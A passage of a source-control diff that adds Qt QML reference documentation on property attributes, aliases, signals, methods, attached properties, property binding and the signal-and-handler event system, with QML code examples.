+\l{Qt::binding()}{Qt.binding()} function, which returns a value of the
+appropriate type. A binding expression value may be assigned to a property
+via an initialization value assignment without using that function (and, in
+fact, attempting to do so will result in an error). See the documentation
+about \l{qtqml-syntax-propertybinding.html}{property binding} for more
+information on the topic.
+
+
+\section3 Type Safety
+
+Properties are type safe. A property can only be assigned a value that matches
+the property type.
+
+For example, if a property is a real, and if you try to assign a string to it,
+you will get an error:
+
+\code
+property int volume: "four" // generates an error; the property's object will not be loaded
+\endcode
+
+Likewise if a property is assigned a value of the wrong type during run time,
+the new value will not be assigned, and an error will be generated.
+
+As noted in a previous section, some property types do not have a natural
+value representation, and for those property types the QML engine
+automatically performs string-to-typed-value conversion. So, for example,
+even though properties of the \c color type store colors and not strings,
+you are able to assign the string \c "red" to a color property, without an
+error being reported.
+
+See \l {QML Basic Types} for a list of the types of properties that are
+supported by default. Additionally, any available \l {QML Object Types}
+{QML object type} may also be used as a property type.
+
+\section3 Special Property Types
+
+\section4 Object List Property Attributes
+
+A \l list type property can be assigned a list of QML object-type values.
+The syntax for defining an object list value is a comma-separated list
+surrounded by square brackets:
+
+\code
+ [ <item 1>, <item 2>, ... ]
+\endcode
+
+For example, the \l Item type has a \l {Item::states}{states} property that is
+used to hold a list of \l State type objects. The code below initializes the
+value of this property to a list of three \l State objects:
+
+\qml
+import QtQuick 2.0
+
+Item {
+ states: [
+ State { name: "loading" },
+ State { name: "running" },
+ State { name: "stopped" }
+ ]
+}
+\endqml
+
+If the list contains a single item, the square brackets may be omitted:
+
+\qml
+import QtQuick 2.0
+
+Item {
+ states: State { name: "running" }
+}
+\endqml
+
+A \l list type property may be specified in an object declaration with the
+following syntax:
+
+\code
+ [default] property list<<objectType>> propertyName
+\endcode
+
+and, like other property declarations, a property initialization may be
+combined with the property declaration with the following syntax:
+
+\code
+ [default] property list<<objectType>> propertyName: <value>
+\endcode
+
+An example of list property declaration follows:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ // declaration without initialization
+ property list<Rectangle> siblingRects
+
+ // declaration with initialization
+ property list<Rectangle> childRects: [
+ Rectangle { color: "red" },
+ Rectangle { color: "blue"}
+ ]
+}
+\endqml
+
+If you wish to declare a property to store a list of values which are not
+necessarily QML object-type values, you should declare a \l var property
+instead.
+
+
+\section4 Grouped Properties
+
+In some cases properties contain a logical group of sub-property attributes.
+These sub-property attributes can be assigned to using either the dot notation
+or group notation.
+
+For example, the \l Text type has a \l{Text::font.family}{font} group property. Below,
+the first \l Text object initializes its \c font values using dot notation,
+while the second uses group notation:
+
+\code
+Text {
+ //dot notation
+ font.pixelSize: 12
+ font.b: true
+}
+
+Text {
+ //group notation
+ font { pixelSize: 12; b: true }
+}
+\endcode
+
+Grouped property types are basic types which have subproperties. Some of these
+basic types are provided by the QML language, while others may only be used if
+the Qt Quick module is imported. See the documentation about
+\l{QML Basic Types} for more information.
+
+
+\section3 Property Aliases
+
+Property aliases are properties which hold a reference to another property.
+Unlike an ordinary property definition, which allocates a new, unique storage
+space for the property, a property alias connects the newly declared property
+(called the aliasing property) as a direct reference to an existing property
+(the aliased property).
+
+A property alias declaration looks like an ordinary property definition, except
+that it requires the \c alias keyword instead of a property type, and the
+right-hand-side of the property declaration must be a valid alias reference:
+
+\code
+[default] property alias <name>: <alias reference>
+\endcode
+
+Unlike an ordinary property, an alias can only refer to a object, or the
+property of a object, that is within the scope of the \l{QML Object Types}
+{type} within which the alias is declared. It cannot contain arbitrary
+JavaScript expressions and it cannot refer to objects declared outside of
+the scope of its type. Also note the \e {alias reference} is not optional,
+unlike the optional default value for an ordinary property; the alias reference
+must be provided when the alias is first declared.
+
+For example, below is a \c Button type with a \c buttonText aliased property
+which is connected to the \c text object of the \l Text child:
+
+\qml
+// Button.qml
+import QtQuick 2.0
+
+Rectangle {
+ property alias buttonText: textItem.text
+
+ width: 100; height: 30; color: "yellow"
+
+ Text { id: textItem }
+}
+\endqml
+
+The following code would create a \c Button with a defined text string for the
+child \l Text object:
+
+\qml
+Button { buttonText: "Click Me" }
+\endqml
+
+Here, modifying \c buttonText directly modifies the textItem.text value; it
+does not change some other value that then updates textItem.text. If
+\c buttonText was not an alias, changing its value would not actually change
+the displayed text at all, as property bindings are not bi-directional: the
+\c buttonText value would have changed if textItem.text was changed, but not
+the other way around.
+
+
+\section4 Considerations for Property Aliases
+
+Aliases are only activated once a component has been fully initialized. An
+error is generated when an uninitialized alias is referenced. Likewise,
+aliasing an aliasing property will also result in an error.
+
+\snippet qml/properties.qml alias complete
+
+When importing a \l{QML Object Types}{QML object type} with a property alias in
+the root object, however, the property appear as a regular Qt property and
+consequently can be used in alias references.
+
+It is possible for an aliasing property to have the same name as an existing
+property, effectively overwriting the existing property. For example,
+the following QML type has a \c color alias property, named the same as the
+built-in \l {Rectangle::color} property:
+
+\snippet qml/properties.qml alias overwrite
+
+Any object that use this type and refer to its \c color property will be
+referring to the alias rather than the ordinary \l {Rectangle::color} property.
+Internally, however, the red can correctly set its \c color
+property and refer to the actual defined property rather than the alias.
+
+
+\section3 Default Properties
+
+An object definition can have a single \e default property. A default property
+is the property to which a value is assigned if an object is declared within
+another object's definition without declaring it as a value for a particular
+property.
+
+Declaring a property with the optional \c default keyword marks it as the
+default property. For example, say there is a file MyLabel.qml with a default
+property \c someText:
+
+\qml
+// MyLabel.qml
+import QtQuick 2.0
+
+Text {
+ default property var someText
+
+ text: "Hello, " + someText.text
+}
+\endqml
+
+The \c someText value could be assigned to in a \c MyLabel object definition,
+like this:
+
+\qml
+MyLabel {
+ Text { text: "world!" }
+}
+\endqml
+
+This has exactly the same effect as the following:
+
+\qml
+MyLabel {
+ someText: Text { text: "world!" }
+}
+\endqml
+
+However, since the \c someText property has been marked as the default
+property, it is not necessary to explicitly assign the \l Text object
+to this property.
+
+You will notice that child objects can be added to any \l {Item}-based type
+without explicitly adding them to the \l {Item::children}{children} property.
+This is because the default property of \l Item is its \c data property, and
+any items added to this list for an \l Item are automatically added to its
+list of \l {Item::children}{children}.
+
+Default properties can be useful for reassigning the children of an item. See
+the \l{declarative/ui-components/tabwidget}{TabWidget example}, which uses a
+default property to automatically reassign children of the TabWidget as
+children of an inner ListView.
+
+
+\section3 Read-Only Properties
+
+An object declaration may define a read-only property using the \c readonly
+keyword, with the following syntax:
+
+\code
+ readonly property <propertyType> <propertyName> : <initialValue>
+\endcode
+
+Read-only properties must be assigned a value on initialization. After a
+read-only property is initialized, it no longer possible to give it a value,
+whether from imperative code or otherwise.
+
+For example, the code in the \c Component.onCompleted block below is invalid:
+
+\qml
+Item {
+ readonly property int someNumber: 10
+
+ Component.onCompleted: someNumber = 20 // doesn't work, causes an error
+}
+\endqml
+
+\note A read-only property cannot also be a \l{Default Properties}{default} or
+\l {Property Aliases}{alias} property.
+
+
+\section3 Property Modifier Objects
+
+Properties can have
+\l{qtqml-cppintegration-definetypes.html#property-modifier-types}
+{property value modifier objects} associated with them.
+The syntax for declaring an instance of a property modifier type associated
+with a particular property is as follows:
+
+\code
+<PropertyModifierTypeName> on <propertyName> {
+ // attributes of the object instance
+}
+\endcode
+
+It is important to note that the above syntax is in fact an
+\l{qtqml-syntax-basics.html#object-declarations}{object declaration} which
+will instantiate an object which acts on a pre-existing property.
+
+Certain property modifier types may only be applicable to specific property
+types, however this is not enforced by the language. For example, the
+\c NumberAnimation type provided by \c QtQuick will only animate
+numeric-type (such as \c int or \c real) properties. Attempting to use a
+\c NumberAnimation with non-numeric property will not result in an error,
+however the non-numeric property will not be animated. The behavior of a
+property modifier type when associated with a particular property type is
+defined by its implementation.
+
+
+\section2 Signal Attributes
+
+A signal is a notification from an object that some event has occurred: for
+example, a property has changed, an animation has started or stopped, or
+when an image has been downloaded. The \l MouseArea type, for example, has
+a \l {MouseArea::onClicked}{clicked} signal that is emitted when the user clicks
+within the mouse area.
+
+An object can be notified through a \l{Signal handler attributes}
+{signal handler} whenever it a particular signal is emitted. A signal handler
+is declared with the syntax \e on<Signal> where \e <Signal> is the name of the
+signal, with the first letter capitalized. The signal handler must be declared
+within the definition of the object that emits the signal, and the handler
+should contain the block of JavaScript code to be executed when the signal
+handler is invoked.
+
+For example, the \e onClicked signal handler below is declared within the
+\l MouseArea object definition, and is invoked when the \l MouseArea is
+clicked, causing a console message to be printed:
+
+\qml
+import QtQuick 2.0
+
+Item {
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ console.log("Click!")
+ }
+ }
+}
+\endqml
+
+\section3 Defining Signal Attributes
+
+A signal may be defined for a type in C++ by registering a Q_SIGNAL of a class
+which is then registered with the QML type system. Alternatively, a custom
+signal for an object type may be defined in an object declaration in a QML
+document with the following syntax:
+
+\code
+ signal <signalName>[([<type> <parameter name>[, ...]])]
+\endcode
+
+Attempting to declare two signals or methods with the same name in the same
+type block is an error. However, a new signal may reuse the name of an existing
+signal on the type. (This should be done with caution, as the existing signal
+may be hidden and become inaccessible.)
+
+Here are three examples of signal declarations:
+
+\qml
+import QtQuick 2.0
+
+Item {
+ signal clicked
+ signal hovered()
+ signal actionPerformed(string action, var actionResult)
+}
+\endqml
+
+If the signal has no parameters, the "()" brackets are optional. If parameters
+are used, the parameter types must be declared, as for the \c string and \c var
+arguments for the \c actionPerformed signal above. The allowed parameter types
+are the same as those listed under \l {Defining Property Attributes} on this page.
+
+To emit a signal, invoke it as a method. Any relevant
+\l{Signal handler attributes}{signal handlers} will be invoked when the signal
+is emitted, and handlers can use the defined signal argument names to access
+the respective arguments.
+
+\section3 Property Change Signals
+
+QML types also provide built-in \e {property change signals} that are emitted
+whenever a property value changes, as previously described in the section on
+\l{Property attributes}{property attributes}. See the upcoming section on
+\l{Property change signal handlers}{property change signal handlers} for more
+information about why these signals are useful, and how to use them.
+
+
+\section2 Signal Handler Attributes
+
+Signal handlers are a special sort of \l{Method attributes}{method attribute},
+where the method implementation is invoked by the QML engine whenever the
+associated signal is emitted. Adding a signal to an object definition in QML
+will automatically add an associated signal handler to the object definition,
+which has, by default, an empty implementation. Clients can provide an
+implementation, to implement program logic.
+
+Consider the following \c SquareButton type, whose definition is provided in
+the \c SquareButton.qml file as shown below, with signals \c activated and
+\c deactivated:
+
+\qml
+// SquareButton.qml
+Rectangle {
+ id: root
+
+ signal activated(real xPosition, real yPosition)
+ signal deactivated
+
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: root.activated(mouse.x, mouse.y)
+ onRelased: root.deactivated()
+ }
+}
+\endqml
+
+These signals could be received by any \c SquareButton objects in another QML
+file in the same directory, where implementations for the signal handlers are
+provided by the client:
+
+\qml
+// myapplication.qml
+SquareButton {
+ onActivated: console.log("Activated at " + xPosition + "," + yPosition)
+ onDeactivated: console.log("Deactivated!")
+}
+\endqml
+
+See the \l {Signal and Handler Event System} for more details on use of
+signals.
+
+\section3 Property Change Signal Handlers
+
+Signal handlers for property change signal take the syntax form
+\e on<Property>Changed where \e <Property> is the name of the property,
+with the first letter capitalized. For example, although the \l TextInput type
+documentation does not document a \c textChanged signal, this signal is
+implicitly available through the fact that \l TextInput has a
+\l {TextInput::text}{text} property and so it is possible to write an
+\c onTextChanged signal handler to be called whenever this property changes:
+
+\qml
+import QtQuick 2.0
+
+TextInput {
+ text: "Change this!"
+
+ onTextChanged: console.log("Text has changed to:", text)
+}
+\endqml
+
+
+\section2 Method Attributes
+
+A method of an object type is a function which may be called to perform some
+processing or trigger further events. A method can be connected to a signal so
+that it is automatically invoked whenever the signal is emitted. See
+\l {Signal and Handler Event System} for more details.
+
+\section3 Defining Method Attributes
+
+A method may be defined for a type in C++ by tagging a function of a class
+which is then registered with the QML type system with Q_INVOKABLE or by
+registering it as a Q_SLOT of the class. Alternatively, a custom method can
+be added to an object declaration in a QML document with the following syntax:
+
+\code
+ function <functionName>([<parameterName>[, ...]]) { <body> }
+\endcode
+
+Methods can be added to a QML type in order to define standalone, reusable
+blocks of JavaScript code. These methods can be invoked either internally or
+by external objects.
+
+Unlike signals, method parameter types do not have to be declared as they
+default to the \c var type.
+
+Attempting to declare two methods or signals with the same name in the same
+type block is an error. However, a new method may reuse the name of an existing
+method on the type. (This should be done with caution, as the existing method
+may be hidden and become inaccessible.)
+
+Below is a \l Rectangle with a \c calculateHeight() method that is called when
+assigning the \c height value:
+
+\qml
+import QtQuick 2.0
+Rectangle {
+ id: rect
+
+ function calculateHeight() {
+ return rect.width / 2;
+ }
+
+ width: 100
+ height: calculateHeight()
+}
+\endqml
+
+If the method has parameters, they are accessible by name within the method.
+Below, when the \l MouseArea is clicked it invokes the \c moveTo() method which
+can then refer to the received \c newX and \c newY parameters to reposition the
+text:
+
+\qml
+import QtQuick 2.0
+
+Item {
+ width: 200; height: 200
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: label.moveTo(mouse.x, mouse.y)
+ }
+
+ Text {
+ id: label
+
+ function moveTo(newX, newY) {
+ label.x = newX;
+ label.y = newY;
+ }
+
+ text: "Move me!"
+ }
+}
+\endqml
+
+
+\section2 Attached Properties and Attached Signal Handlers
+
+\e {Attached properties} and \e {attached signal handlers} are mechanisms that
+enable objects to be annotated with extra properties or signal handlers that
+are otherwise unavailable to the object. In particular, they allow objects to
+access properties or signals that are specifically relevant to the individual
+object.
+
+A QML type implementation may choose to create an \e {attaching type} with
+particular properties and signals. Instances of this type can then be created
+and \e attached to specific objects at run time, allowing those objects to
+access the properties and signals of the attaching type. These are accessed by
+prefixing the properties and respective signal handlers with the name of the
+attaching type.
+
+References to attached properties and handlers take the following syntax form:
+
+\code
+<AttachingType>.<propertyName>
+<AttachingType>.on<SignalName>
+\endcode
+
+For example, the \l ListView type has an attached property
+\l {ListView::isCurrentItem}{ListView.isCurrentItem} that is available to each delegate object in a
+ListView. This can be used by each individual delegate object to determine
+whether it is the currently selected item in the view:
+
+\qml
+import QtQuick 2.0
+
+ListView {
+ width: 240; height: 320
+ model: 3
+ delegate: Rectangle {
+ width: 100; height: 30
+ color: ListView.isCurrentItem ? "red" : "yellow"
+ }
+}
+\endqml
+
+In this case, the name of the \e {attaching type} is \c ListView and the
+property in question is \c isCurrentItem, hence the attached property is
+referred to as \c ListView.isCurrentItem.
+
+An attached signal handler is referred to in the same way. For example, the
+\c Component.isCompleted attached signal handler is commonly used to execute
+some JavaScript code when a component's creation process has been completed.
+In the example below, once the \l ListModel has been fully created, its
+\c Component.onCompleted signal handler will automatically be invoked to
+populate the model:
+
+\qml
+import QtQuick 2.0
+
+ListView {
+ width: 240; height: 320
+ model: ListModel {
+ id: listModel
+ Component.onCompleted: {
+ for (var i = 0; i < 10; i++)
+ listModel.append({"Name": "Item " + i})
+ }
+ }
+ delegate: Text { text: index }
+}
+\endqml
+
+Since the name of the \e {attaching type} is \c Component and that type has a
+\c completed signal, the attached signal handler is referred to as
+\c Component.isCompleted.
+
+
+\section3 A Note About Accessing Attached Properties and Signal Handlers
+
+A common error is to assume that attached properties and signal handlers are
+directly accessible from the children of the object to which these attributes
+have been attached. This is not the case. The instance of the
+\e {attaching type} is only attached to specific objects, not to the object
+and all of its children.
+
+For example, below is a modified version of the earlier example involving
+attached properties. This time, the delegate is an \l Item and the colored
+\l Rectangle is a child of that item:
+
+\qml
+import QtQuick 2.0
+
+ListView {
+ width: 240; height: 320
+ model: 3
+ delegate: Item {
+ width: 100; height: 30
+
+ Rectangle {
+ width: 100; height: 30
+ color: ListView.isCurrentItem ? "red" : "yellow" // WRONG! This won't work.
+ }
+ }
+}
+\endqml
+
+This does not work as expected because \c ListView.isCurrentItem is attached
+\e only to the root delegate object, and not its children. Since the
+\l Rectangle is a child of the delegate, rather than being the delegate itself,
+it cannot access the \c isCurrentItem attached property as
+\c ListView.isCurrentItem. So instead, the rectangle should access
+\c isCurrentItem through the root delegate:
+
+\qml
+ListView {
+ //....
+ delegate: Item {
+ id: delegateItem
+ width: 100; height: 30
+
+ Rectangle {
+ width: 100; height: 30
+ color: delegateItem.ListView.isCurrentItem ? "red" : "yellow" // correct
+ }
+ }
+}
+\endqml
+
+Now \c delegateItem.ListView.isCurrentItem correctly refers to the
+\c isCurrentItem attached property of the delegate.
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/syntax/propertybinding.qdoc b/src/qml/doc/src/qmllanguageref/syntax/propertybinding.qdoc
new file mode 100644
index 0000000000..6803901efd
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/syntax/propertybinding.qdoc
@@ -0,0 +1,189 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qtqml-syntax-propertybinding.html
+\title Property Binding
+\brief binding object properties
+
+To make the fullest use of QML and its built-in support for implementing dynamic object behavioral changes, most QML objects will use \e {property binding}. This is a core feature of QML that allows objects to automatically update their properties in response to changing attributes in other objects or the occurence of some external event.
+
+When an object's property is assigned a value, it can either be assigned a static value, or \e bound to a JavaScript expression. In the first case, the property's value will not change unless a new value is assigned to the property. In the latter case, a \e {property binding} is created and the property's value is automatically updated by the QML engine whenever the value of the evaluated expression changes.
+
+
+\section1 Overview
+
+To create a property binding, a property is assigned an expression that evaluates to the desired value. At its simplest, an expression may simply be a reference to another object's property. Take the following example, where the blue \l Rectangle's \c height is bound to the height of its parent:
+
+\qml
+Rectangle {
+ width: 200; height: 200
+
+ Rectangle {
+ width: 100; height: parent.height
+ color: "blue"
+ }
+}
+\endqml
+
+Whenever the \c height of the parent item changes, the \c height of the blue rectangle will update to be of the same value.
+
+Furthermore, a binding can contain any valid JavaScript expression or
+statement, as QML uses a standards compliant JavaScript engine. Below are
+valid bindings that could be substituted for the \c height binding from the
+above example:
+
+\code
+height: parent.height / 2
+
+height: Math.min(parent.width, parent.height)
+
+height: parent.height > 100 ? parent.height : parent.height/2
+
+height: {
+ if (parent.height > 100)
+ return parent.height
+ else
+ return parent.height / 2
+}
+
+height: someMethodThatReturnsHeight()
+\endcode
+
+Whenever the value of \c parent.height changes, the QML engine will re-evaluate the above expression and assign the blue rectangle's \c width property with the appropriate updated value.
+
+Bindings can access object properties, call methods and use built-in JavaScript objects such as \c Date and \c Math. Here is an example with various valid bindings:
+
+\qml
+Column {
+ width: 200
+ height: 200
+
+ Rectangle {
+ width: Math.max(bottomRect.width, parent.width/2)
+ height: (parent.height / 3) + 10
+ color: "yellow"
+
+ TextInput {
+ id: myTextInput
+ text: "Hello QML!"
+ }
+ }
+
+ Rectangle {
+ id: bottomRect
+ width: 100
+ height: 50
+ color: myTextInput.text.length <= 10 ? "red" : "blue"
+ }
+}
+\endqml
+
+While syntactically bindings can be of arbitrary complexity, if a binding starts to become overly complex - such as involving multiple lines, or imperative loops - it may be better to refactor the component entirely, or at least factor the binding out into a separate function.
+
+
+\keyword qml-javascript-assignment
+\section1 Creating Property Bindings from JavaScript
+
+Once a property has been bound to an expression, the property is set to be automatically updated as necessary. However, be aware that if the property is later assigned a static value from a JavaScript statement, this will remove the binding.
+
+For example, the \c height of the \l Rectangle below is initially bound to be twice its \c width. However, when the space key is pressed, the \c height value is changed to be three times its \c width. At this point, the \c height is assigned the currently evaluated result of \c width*3 and \e {the height will no longer be automatically updated whenever the width changes}. The assignment of the static value removes the binding.
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ width: 100
+ height: width * 2
+
+ focus: true
+ Keys.onSpacePressed: {
+ height = width * 3
+ }
+}
+\endqml
+
+If the intention is to remove the binding, then this is not a problem. However if the intention is to create a new binding of \c width*3 then the property must be assigned a Qt.binding() value instead. This is done by passing a function to Qt.binding() that returns the desired result:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ width: 100
+ height: width * 2
+
+ focus: true
+ Keys.onSpacePressed: {
+ height = Qt.binding(function() { return width * 3 })
+ }
+}
+\endqml
+
+Now when the space key is pressed, a new binding of \c width*3 is assigned, instead of simply removing the initial binding.
+
+
+\section2 Using \c this with Property Binding
+
+When creating a property binding from JavaScript, QML allows the use of the \c
+this keyword to refer to the object to which the property binding will be
+assigned. This allows one to explicitly refer to a property within an object
+when there may be ambiguity about the exact property that should be used for the
+binding.
+
+For example, the \c Component.onCompleted handler below is defined within the
+scope of the \l Item, and references to \c width within this scope would refer
+to the \l Item's width, rather than that of the \l Rectangle. To bind the \l
+Rectangle's \c height to its own \c width, the function passed to Qt.binding()
+needs to explicitly refer to \c this.width rather than just \c width.
+
+\qml
+Item {
+ width: 500
+ height: 500
+
+ Rectangle {
+ id: rect
+ width: 100
+ color: "yellow"
+ }
+
+ Component.onCompleted: {
+ rect.height = Qt.binding(function() { return this.width * 2 })
+ console.log("rect.height = " + rect.height) // prints 200, not 1000
+ }
+}
+\endqml
+
+In this case, the function could also have referred to \c rect.width rather than
+\c this.width.
+
+Note that the value of \c this is not defined outside of its use in property binding.
+See \l {JavaScript Environment Restrictions} for details.
+
+
+*/
+
diff --git a/src/qml/doc/src/qmllanguageref/syntax/signals.qdoc b/src/qml/doc/src/qmllanguageref/syntax/signals.qdoc
new file mode 100644
index 0000000000..6344d16caa
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/syntax/signals.qdoc
@@ -0,0 +1,295 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qtqml-syntax-signals.html
+
+\title Signal and Handler Event System
+\brief the event sytem in QML
+
+Application and user interface components need to communicate with each other. For
+example, a button needs to know that the user has clicked on it.
+The button may change colors to indicate its state or perform some logic. As
+well, application needs to know whether the user is clicking the button. The
+application may need to relay this clicking event to other applications.
+
+QML has a signal and handler mechanism, where the \e signal is the event
+and the signal is responded to through a \e {signal handler}. When a signal
+is emitted, the corresponding signal handler is invoked. Placing logic such as scripts or other
+operations in the handler allows the component to respond to the event.
+
+\keyword qml-signals-and-handlers
+\section1 Receiving Signals with Signal Handlers
+
+To receive a notification when a particular signal is emitted for a particular object, the object definition should declare a signal handler named \e on<Signal> where \e <Signal> is the name of the signal, with the first letter capitalized. The signal handler should contain the JavaScript code to be executed when the signal handler is invoked.
+
+For example, the \l MouseArea type from the \c QtQuick module has a \c clicked signal that is emitted whenever the mouse is clicked within the area. Since the signal name is \c clicked, the signal handler for receiving this signal should be named \c onClicked. In the example below, whenever the mouse area is clicked, the \c onClicked handler is invoked, applying a random color to the \l Rectangle:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ rect.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1);
+ }
+ }
+}
+\endqml
+
+Looking at the \l MouseArea documentation, you can see the \l {MouseArea::onClicked}{clicked} signal is emitted with a parameter named \c mouse which is a \l MouseEvent object that contains further details about the mouse click event. This name can be referred to in our \c onClicked handler to access this parameter. For example, the \l MouseEvent type has \c x and \c y coordinates that allows us to print out the exact location where the mouse was clicked:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ rect.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1);
+
+ // access 'mouse' parameter
+ console.log("Clicked mouse at", mouse.x, mouse.y)
+ }
+ }
+}
+\endqml
+
+
+\section2 Property Change Signal Handlers
+
+A signal is automatically emitted when the value of a QML property changes. This type of signal is a \e {property change signal} and signal handlers for these signals are written in the form \e on<Property>Changed where \e <Property> is the name of the property, with the first letter capitalized.
+
+For example, the \l MouseArea type has a \l {MouseArea::pressed}{pressed} property. To receive a notification whenever this property changes, write a signal handler named \c onPressedChanged:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onPressedChanged: {
+ console.log("Mouse area is pressed?", pressed)
+ }
+ }
+}
+\endqml
+
+Even though the \l MouseArea documentation does not document a signal handler named \c onPressedChanged, the signal is implicitly provided by the fact that the \c pressed property exists.
+
+
+\section2 Using the Connections Type
+
+In some cases it may be desirable to access a signal outside of the object that emits it. For these purposes, the \c QtQuick module provides the \l Connections type for connecting to signals of arbitrary objects. A \l Connections object can receive any signal from its specified \l {Connections::target}{target}.
+
+For example, the \c onClicked handler in the earlier example could have been received by the root \l Rectangle instead, by placing the \c onClicked handler in a \l Connections object that has its \l {Connections::target}{target} set to the \l MouseArea:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ }
+
+ Connections {
+ target: mouseArea
+ onClicked: {
+ rect.color = Qt.rgba(Math.random(), Math.random(), Math.random(), 1);
+ }
+ }
+}
+\endqml
+
+
+\section2 Attached Signal Handlers
+
+An \l {attached signal handler} is a signal handler that receives a signal from an \e {attaching type} rather than the object within which the handler is declared.
+
+For example, \c \l {Component::isCompleted}{Component.isCompleted} is an attached signal handler. This handler is often used to execute some JavaScript code when its creation process has been completed, as in the example below:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ width: 200; height: 200
+ color: Qt.rgba(Qt.random(), Qt.random(), Qt.random(), 1)
+
+ Component.onCompleted: {
+ console.log("The rectangle's color is", color)
+ }
+}
+\endqml
+
+The \c onCompleted handler is not responding to some \c completed signal from the \l Rectangle type. Instead, an object of the \c Component \e {attaching type} with a \c completed signal has automatically been \e attached to the \l Rectangle object by the QML engine, and the engine emits this signal when the object is fully created, thus triggering the \c Component.onCompleted signal handler.
+
+Attached signal handlers allow objects to be notified of particular signals that are significant to each individual object. If there was no \c Component.onCompleted attached signal handler, for example, then an object could not receive this notification without registering for some special signal from some special object. The \e {attached signal handler} mechanism enables objects to receive particular signals without these extra processes.
+
+See \l {Attached properties and attached signal handlers} for more information on attached signal handlers.
+
+
+\section1 Adding Signals to Custom QML Types
+
+Signals can be added to custom QML types through the \c signal keyword.
+
+The syntax for defining a new signal is:
+
+\tt{signal <name>[([<type> <parameter name>[, ...]])]}
+
+A signal is emitted by invoking the signal as a method.
+
+For example, say the code below is defined in a file named \c SquareButton.qml. The root \l Rectangle object has an \c activated signal. When the child \l MouseArea is clicked, it emits the parent's \c activated signal with the coordinates of the mouse click:
+
+\qml
+// SquareButton.qml
+Rectangle {
+ id: root
+
+ signal activated(real xPosition, real yPosition)
+
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: root.activated(mouse.x, mouse.y)
+ }
+}
+\endqml
+
+Now any objects of the \c SquareButton can connect to the \c activated signal using an \c onActivated signal handler:
+
+\qml
+// myapplication.qml
+SquareButton {
+ onActivated: console.log("Activated at " + xPosition + "," + yPosition)
+}
+\endqml
+
+See \l {Signal Attributes} for more details on writing signals for custom QML types.
+
+
+\keyword qml-connect-signals-to-method
+\section1 Connecting Signals to Methods and Signals
+
+Signal objects have a \c connect() method to a connect a signal either to a
+method or another signal. When a signal is connected to a method, the method is
+automatically invoked whenever the signal is emitted. This mechanism enables a
+signal to be received by a method instead of a signal handler.
+
+Below, the \c messageReceived signal is connected to three methods using the \c connect() method:
+
+\qml
+Rectangle {
+ id: relay
+
+ signal messageReceived(string person, string notice)
+
+ Component.onCompleted: {
+ relay.messageReceived.connect(sendToPost)
+ relay.messageReceived.connect(sendToTelegraph)
+ relay.messageReceived.connect(sendToEmail)
+ relay.messageReceived("Tom", "Happy Birthday")
+ }
+
+ function sendToPost(person, notice) {
+ console.log("Sending to post: " + person + ", " + notice)
+ }
+ function sendToTelegraph(person, notice) {
+ console.log("Sending to telegraph: " + person + ", " + notice)
+ }
+ function sendToEmail(person, notice) {
+ console.log("Sending to email: " + person + ", " + notice)
+ }
+}
+\endqml
+
+In many cases it is sufficient to receive signals through signal handlers rather than using the connect() function. However, using the \c connect method allows a signal to be received by multiple methods as shown above, which would not be possible with signal handlers as they must be uniquely named. Also, the \c connect method is useful when connecting signals to \l {Dynamic QML Object Creation from JavaScript}{dynamically created objects}.
+
+There is a corresponding \c disconnect() method for removing connected signals:
+
+\qml
+Rectangle {
+ id: relay
+ //...
+
+ function removeTelegraphSignal() {
+ relay.messageReceived.disconnect(sendToTelegraph)
+ }
+}
+\endqml
+
+\section3 Signal to Signal Connect
+
